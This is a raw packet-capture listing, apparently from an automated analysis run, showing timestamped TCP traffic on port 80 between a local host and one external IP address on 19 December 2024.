Dec 19, 2024 08:21:34.576097965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.576818943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.576879978 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.576937914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.576983929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.577610016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.577713966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.578375101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.578428984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.578455925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.578495026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.579195976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.579330921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.579960108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.580018997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.580146074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.580189943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.580730915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.580867052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.581571102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.581624031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.581669092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.581712008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.582369089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.582509995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.582557917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.583125114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.583246946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.583903074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.583956003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.583971024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.584013939 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.584716082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.584827900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.585272074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.585499048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.585643053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.586287022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.586339951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.586412907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.586457968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.587142944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.587209940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.587902069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.587954998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.588083029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.588124037 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.588962078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.589025021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.589896917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.589948893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.589967012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.590007067 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.590539932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.590658903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.591191053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.591212034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.591255903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.591464043 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.591837883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.591902018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.594224930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.663736105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.663847923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.663892984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.664122105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.664216995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.664254904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.664895058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.665020943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.665070057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.665683031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.665800095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.665833950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.666465044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.666588068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.666620970 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.667294025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.667439938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.667481899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.668067932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.668147087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.668409109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.711263895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.711466074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.711479902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.711502075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.711575985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.711607933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.712181091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.712341070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.712378025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.713032007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.713345051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.713387012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.713772058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.713907003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.713943958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.714602947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.714714050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.714773893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.715320110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.715466976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.715501070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.716072083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.716204882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.716240883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.716953039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.716974974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.717010975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.717650890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.717776060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.717812061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.718436003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.718544006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.718599081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.719218969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.719394922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.719434023 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.720000029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.720113039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.720145941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.720779896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.762294054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.762367010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.762392998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.762644053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.762681961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.762907028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.763473988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.763523102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.763643980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.764257908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.764306068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.764349937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.765050888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.765084982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.765162945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.765830994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.765877008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.765935898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.766660929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.766702890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.766746998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.767430067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.767478943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.767558098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.768208027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.768253088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.768302917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.769000053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.769046068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.769128084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.769777060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.769819975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.769892931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.770643950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.770689964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.770720959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.771481037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.771527052 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.771570921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.772588968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.772633076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.772675991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.773327112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.773370028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.773423910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.773869038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.773900032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.773911953 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.774605036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.774641991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.774650097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.775337934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.775383949 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.775446892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.776123047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.776165962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.776196957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.776952028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.776998997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.777039051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.777703047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.777749062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.777806997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.778505087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.778552055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.778625011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.779269934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.779292107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.779325962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.780086994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.780139923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.780174017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.780849934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.780899048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.780973911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.781635046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.781691074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.781806946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.782424927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.782480001 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.782567978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.783256054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.783303022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.783363104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.784043074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.784101009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.784152031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.784858942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.784895897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.784910917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.785624027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.785675049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.785717010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.786385059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.786462069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.786619902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.787192106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.787250996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.787285089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.787995100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.788047075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.855802059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.855905056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.855961084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.856131077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.856245041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.856290102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.856970072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.857048035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.857095957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.857742071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.857918024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.857966900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.858505964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.858583927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.858632088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.859347105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.859450102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.859496117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.860094070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.860115051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.860191107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.903049946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.903068066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.903131008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.903374910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.903477907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.903521061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.904201031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.904289961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.904337883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.904942989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.905201912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.905245066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.905312061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.906001091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.906048059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.906109095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.906791925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.906833887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.906896114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.907574892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.907618999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.907669067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.908396006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.908437967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.908468008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.909164906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.909209013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.909291029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.909953117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.909998894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.910034895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.910744905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.910783052 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.910840034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.911550999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.911602020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.911659956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.912338018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.912386894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.912415981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.954529047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.954601049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.954617977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.954767942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.954807997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.954889059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.955643892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.955693960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.955743074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.956393003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.956432104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.956445932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.957124949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.957185030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.957201004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.957897902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.957947016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.957992077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.958693981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.958744049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.958811998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.959546089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.959592104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.959594011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.960263968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.960311890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.960386038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.961078882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.961175919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.961182117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.961901903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.961954117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.962013960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.962668896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.962718010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.962774038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.963428974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.963478088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.963529110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.964319944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.964368105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.964445114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.965168953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.965229988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.965244055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.965791941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.965836048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.965928078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.966645002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.966694117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.966732979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.967573881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.967634916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.967669964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.968285084 CET	80	49720	194.87.47.113	192.168.2.10
